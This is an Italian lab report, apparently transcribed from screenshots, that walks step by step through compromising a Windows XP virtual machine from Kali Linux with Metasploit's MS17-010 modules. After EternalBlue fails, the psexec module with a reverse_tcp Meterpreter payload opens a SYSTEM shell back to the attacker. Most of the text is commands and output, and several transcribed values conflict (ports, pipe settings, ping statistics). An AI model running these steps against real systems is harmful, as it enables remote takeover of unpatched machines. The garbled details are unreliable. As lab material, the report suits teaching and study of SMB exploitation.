

Report Hacking to WindowsXP

Configurazione indirizzo IP ed effettiva verifica del ping delle macchine **WindowsXP** e **Kali Linux** .

The image shows two overlapping windows. The background window is a Kali Linux terminal with the following content:

```

kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.2.25 netmask 255.255.255.0 broadcast 192.168.2.255
    inet6 fe80::a00:27ff:fe76:9a9f prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:76:9a:9f txqueuelen 1000 (Ethernet)
    RX packets 20 bytes 2314 (2.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 12 bytes 358 (0.4 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

kali@kali:~$ ifconfig eth1
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.2.15 netmask 255.255.255.0 broadcast 192.168.2.255
    inet6 fe80::a00:27ff:fe76:9a9f prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:76:9a:9f txqueuelen 1000 (Ethernet)
    RX packets 20 bytes 3128 (3.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 220 bytes 2705 (2.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

kali@kali:~$ ifconfig lo
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

kali@kali:~$ ping 192.168.2.26 -c 4
PING 192.168.2.26 (192.168.2.26) 56(84) bytes of data:
 64 bytes from 192.168.2.26: icmp_seq=1 ttl=128 time=0.27 ms
 64 bytes from 192.168.2.26: icmp_seq=2 ttl=128 time=0.24 ms
 64 bytes from 192.168.2.26: icmp_seq=3 ttl=128 time=0.27 ms
 64 bytes from 192.168.2.26: icmp_seq=4 ttl=128 time=0.28 ms

--- 192.168.2.26 ping statistics ---
 4 packets transmitted, 4 received, 0% packet loss, time 1042ms
 rtt min/avg/max/mdev = 1.760/2.366/3.264/0.553 ms

kali@kali:~$

```

The foreground window is a Windows XP virtual machine with the command prompt open, showing the output of the following commands:

```

C:\WINDOWS\system32\cmd.exe
C:\Documents and Settings\Administrator>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : 
    IP Address. . . . . : 192.168.2.26
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 

C:\Documents and Settings\Administrator>ping 192.168.2.25

Pinging 192.168.2.25 with 32 bytes of data:

Reply from 192.168.2.25: bytes=32 time=3ms TTL=64
Reply from 192.168.2.25: bytes=32 time=1ms TTL=64
Reply from 192.168.2.25: bytes=32 time=4ms TTL=64
Reply from 192.168.2.25: bytes=32 time=1ms TTL=64

Ping statistics for 192.168.2.25:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 1ms, Maximum = 4ms, Average = 2ms

C:\Documents and Settings\Administrator>

```

Avvio di **msfconsole** tramite il comando "**msfconsole**".

[illegible]

Ricerca dell'exploit **MS17-010** tramite il comando **"search MS17_010"**.

```
msf6 > search MS17-010

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \ target: Automatic Target              .              .    .
2  \ target: Windows 7                     .              .    .
3  \ target: Windows Embedded Standard 7   .              .    .
4  \ target: Windows Server 2008 R2        .              .    .
5  \ target: Windows 8                     .              .    .
6  \ target: Windows 8.1                   .              .    .
7  \ target: Windows Server 2012           .              .    .
8  \ target: Windows 10 Pro                 .              .    .
9  \ target: Windows 10 Enterprise Evaluation .              .    .
10 exploit/windows/smb/ms17_010_psexec     2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \ target: Automatic                    .              .    .
12 \ target: PowerShell                   .              .    .
13 \ target: Native upload                 .              .    .
14 \ target: MOF upload                    .              .    .
15 \ AKA: ETERNALSYNERGY                  .              .    .
16 \ AKA: ETERNALROMANCE                  .              .    .
17 \ AKA: ETERNALCHAMPION                 .              .    .
18 \ AKA: ETERNALBLUE                     .              .    .
19 auxiliary/admin/smb/ms17_010_command    2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \ AKA: ETERNALSYNERGY                  .              .    .
21 \ AKA: ETERNALROMANCE                  .              .    .
22 \ AKA: ETERNALCHAMPION                 .              .    .
23 \ AKA: ETERNALBLUE                     .              .    .
24 auxiliary/scanner/smb/smb_ms17_010     .              normal No     MS17-010 SMB RCE Detection
25 \ AKA: DOUBLEPULSAR                   .              .    .
26 \ AKA: ETERNALBLUE                     .              .    .
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great  Yes    SMB DOUBLEPULSAR Remote Code Execution
28 \ target: Execute payload (x64)        .              .    .
29 \ target: Neutralize implant           .              .    .

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 >
```

Scelta del payload **"exploit/windows/smb/ms17_010_eternalblue"** tramite il codice di appartenenza **"0"** e utilizzando il comando **"use 0"**

```
msf6 > search MS17-010

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \ target: Automatic Target              .              .    .
2  \ target: Windows 7                     .              .    .
3  \ target: Windows Embedded Standard 7   .              .    .
4  \ target: Windows Server 2008 R2        .              .    .
5  \ target: Windows 8                     .              .    .
6  \ target: Windows 8.1                   .              .    .
7  \ target: Windows Server 2012           .              .    .
8  \ target: Windows 10 Pro                 .              .    .
9  \ target: Windows 10 Enterprise Evaluation .              .    .
10 exploit/windows/smb/ms17_010_psexec     2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \ target: Automatic                    .              .    .
12 \ target: PowerShell                   .              .    .
13 \ target: Native upload                 .              .    .
14 \ target: MOF upload                    .              .    .
15 \ AKA: ETERNALSYNERGY                  .              .    .
16 \ AKA: ETERNALROMANCE                  .              .    .
17 \ AKA: ETERNALCHAMPION                 .              .    .
18 \ AKA: ETERNALBLUE                     .              .    .
19 auxiliary/admin/smb/ms17_010_command    2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \ AKA: ETERNALSYNERGY                  .              .    .
21 \ AKA: ETERNALROMANCE                  .              .    .
22 \ AKA: ETERNALCHAMPION                 .              .    .
23 \ AKA: ETERNALBLUE                     .              .    .
24 auxiliary/scanner/smb/smb_ms17_010     .              normal No     MS17-010 SMB RCE Detection
25 \ AKA: DOUBLEPULSAR                   .              .    .
26 \ AKA: ETERNALBLUE                     .              .    .
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great  Yes    SMB DOUBLEPULSAR Remote Code Execution
28 \ target: Execute payload (x64)        .              .    .
29 \ target: Neutralize implant           .              .    .

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Esecuzione del comando **"show options"** per controllare che le configurazioni fossero giuste.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name      Current Setting  Required  Description
--      -
RHOSTS    445              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              yes       The target port (TCP)
SMBDomain  no               no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass   no               no        (Optional) The password for the specified username
SMBUser    no               no        (Optional) The username to authenticate as
VERIFY_ARCH true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     10.0.3.15        yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Esecuzione dei comandi “**set RHOSTS + indirizzo IP della macchina target**” e “**set LHOST + indirizzo IP della macchina utilizzata per l’attacco (kali linux)**” per impostare e memorizzare l’indirizzo IP del target e dell’attaccante e successiva verifica dell’effettiva memorizzazione dell’IP tramite il comando “**show options**”.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.2.26
RHOSTS => 192.168.2.26
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.2.25
LHOST => 192.168.2.25
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):



| Name          | Current Setting | Required | Description                                                                                                                                                                                         |
|---------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        | 192.168.2.26    | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                                                               |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.                                               |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                                                                  |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                                                                          |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.                                                   |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.                                                             |



Payload options (windows/x64/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.2.25    | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name             |
|----|------------------|
| 0  | Automatic Target |



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Esecuzione del comando “**run**” che equivale al comando “**exploit**”, dove entrambi eseguono l’attacco verso il target prescelto. Tuttavia, come è possibile vedere tramite lo screen, il risultato mostra un errore relativo al modulo che supporta solo i sistemi x64 e di conseguenza, non è possibile proseguire con l’attacco.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.2.25:4444
[*] 192.168.2.26:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.2.26:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] 192.168.2.26:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.2.26:445 - The target is vulnerable.
[-] 192.168.2.26:445 - Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Ricerca e scelta di un altro exploit che è **"exploit/windows/smb/ms17_010_psexec"** e utilizzo del comando **"use 10(codice relativo all'exploit)"**.

```

msf6 > search MS17_010
Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \target: Automatic Target                "              "      "      "
2  \target: Windows 7                        "              "      "      "
3  \target: Windows Embedded Standard 7     "              "      "      "
4  \target: Windows Server 2008 R2          "              "      "      "
5  \target: Windows 8                        "              "      "      "
6  \target: Windows 8.1                     "              "      "      "
7  \target: Windows Server 2012             "              "      "      "
8  \target: Windows 10 Pro                   "              "      "      "
9  \target: Windows 10 Enterprise Evaluation "              "      "      "
10 exploit/windows/smb/ms17_010_psexec      2017-03-14      normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \target: Automatic                       "              "      "      "
12 \target: PowerShell                      "              "      "      "
13 \target: Native upload                   "              "      "      "
14 \target: MOF upload                       "              "      "      "
15 \AKA: ETernalsynergy                     "              "      "      "
16 \AKA: ETernalRomance                     "              "      "      "
17 \AKA: ETernalChampion                     "              "      "      "
18 \AKA: ETernalBlue                         "              "      "      "
19 auxiliary/admin/smb/ms17_010_command      2017-03-14      normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \AKA: ETernalsynergy                     "              "      "      "
21 \AKA: ETernalRomance                     "              "      "      "
22 \AKA: ETernalChampion                     "              "      "      "
23 \AKA: ETernalBlue                         "              "      "      "
24 auxiliary/scanner/smb/ms17_010           "              normal  No     MS17-010 SMB RCE Detection
25 \AKA: DOUBLEPULSAR                       "              "      "      "
26 \AKA: ETernalBlue                         "              "      "      "

Interact with a module by name or index. For example info 26, use 26 or use auxiliary/scanner/smb/smb_ms17_010

msf6 > use 10
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) >

```

Esecuzione del comando **"show options"** per controllare eventuali errori o mancanze nelle configurazioni riportate.

```
msf6 exploit(windows/smb/ms17_010_psexec) > show options
Module options (exploit/windows/smb/ms17_010_psexec):



| Name                 | Current Setting                                                | Required | Description                                                                                                                                                                                         |
|----------------------|----------------------------------------------------------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| DBGTRACE             | false                                                          | yes      | Show extra debug trace info                                                                                                                                                                         |
| LEAKATTEMPTS         | 99                                                             | yes      | How many times to try to leak transaction                                                                                                                                                           |
| NAMED_PIPE           |                                                                | no       | A named pipe that can be connected to (leave blank for auto)                                                                                                                                        |
| NAMED_PIPES          | /usr/share/metasploit-framework/data/wordlists/named_pipes.txt | yes      | List of named pipes to check                                                                                                                                                                        |
| RHOSTS               |                                                                | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT                | 445                                                            | yes      | The target port (tcp)                                                                                                                                                                               |
| SERVICE_DESCRIPTION  |                                                                | no       | Service description to be used on target for pretty listing                                                                                                                                         |
| SERVICE_DISPLAY_NAME |                                                                | no       | The service display name                                                                                                                                                                            |
| SERVICE_NAME         |                                                                | no       | The service name                                                                                                                                                                                    |
| SHARE                | ADMIN\$                                                        | yes      | The share to connect to, can be an admin share (ADMIN\$,C\$,...) or a normal read/write folder share                                                                                                |
| SMBDomain            | .                                                              | no       | The Windows domain to use for authentication                                                                                                                                                        |
| SMBPass              | .                                                              | no       | The password for the specified username                                                                                                                                                             |
| SMBUser              | .                                                              | no       | The username to authenticate as                                                                                                                                                                     |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 10.0.3.15       | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name      | URL |
|----|-----------|-----|
| 0  | Automatic |     |



View the full module info with the info, or info -d command.
```


Riconfigurazione e riesecuzione dei comandi “set RHOSTS + indirizzo IP della macchina target” e “set LHOST + indirizzo IP della macchina utilizzata per l’attacco (kali linux)” per impostare e memorizzare l’indirizzo IP del target e dell’attaccante e successiva verifica dell’effettiva memorizzazione degli indirizzi IP tramite il comando “show options”.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.2.25
LHOST => 192.168.2.25
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.2.26
RHOSTS => 192.168.2.26
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

  Name                Current Setting      Required  Description
  --                -
  DBGTRACE             false                yes       Show extra debug trace info
  LEAKATTEMPTS          99                  yes       How many times to try to leak transaction
  NAMEDPIPE             /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  no        A named pipe that can be connected to (leave blank for auto)
  NAMED_PIPE           192.168.2.26         yes       List of named pipes to check
  RHOSTS               192.168.2.26         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT                445                 yes       The Target port (TCP)
  SERVICE_DESCRIPTION  no                  no        Service description to be used on target for pretty listing
  SERVICE_DISPLAY_NAME no                  no        The service display name
  SERVICE_NAME         no                  no        The service name
  SHARE                ADMIN$              yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain            .                   no        The Windows domain to use for authentication
  SMBPass              no                  no        The password for the specified username
  SMBUser              no                  no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.2.25    yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_psexec) >
```

Riesecuzione del comando “run” ed effettiva e corretta esecuzione dell’attacco che è possibile notare tramite l’apertura della sessione “meterpreter”.

```
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 192.168.2.25:4444
[*] 192.168.2.26:4445 - Target OS: Windows 5.1
[*] 192.168.2.26:4445 - Filling barrel with fish... done
[*] 192.168.2.26:4445 - | Entering Danger Zone |
[*] 192.168.2.26:4445 - [*] Preparing dynamite...
[*] 192.168.2.26:4445 - [*] Trying stick 1 (x86)... Boom!
[*] 192.168.2.26:4445 - [+] Successfully Leaked Transaction!
[*] 192.168.2.26:4445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.2.26:4445 - | Leaving Danger Zone |
[*] 192.168.2.26:4445 - Reading from CONNECTION struct at: 0x86363500
[*] 192.168.2.26:4445 - Built a write-what-where primitive...
[*] 192.168.2.26:4445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.2.26:4445 - Selecting native target
[*] 192.168.2.26:4445 - Uploading payload... CqmsqVa.exe
[*] 192.168.2.26:4445 - Created \CqmsqVa.exe...
[*] 192.168.2.26:4445 - Service started successfully...
[*] 192.168.2.26:4445 - Deleting \CqmsqVa.exe...
[*] Sending stage (176198 bytes) to 192.168.2.26
[*] Meterpreter session 1 opened (192.168.2.25:4444 -> 192.168.2.26:1030) at 2024-07-10 10:13:14 -0400

meterpreter >
meterpreter >
```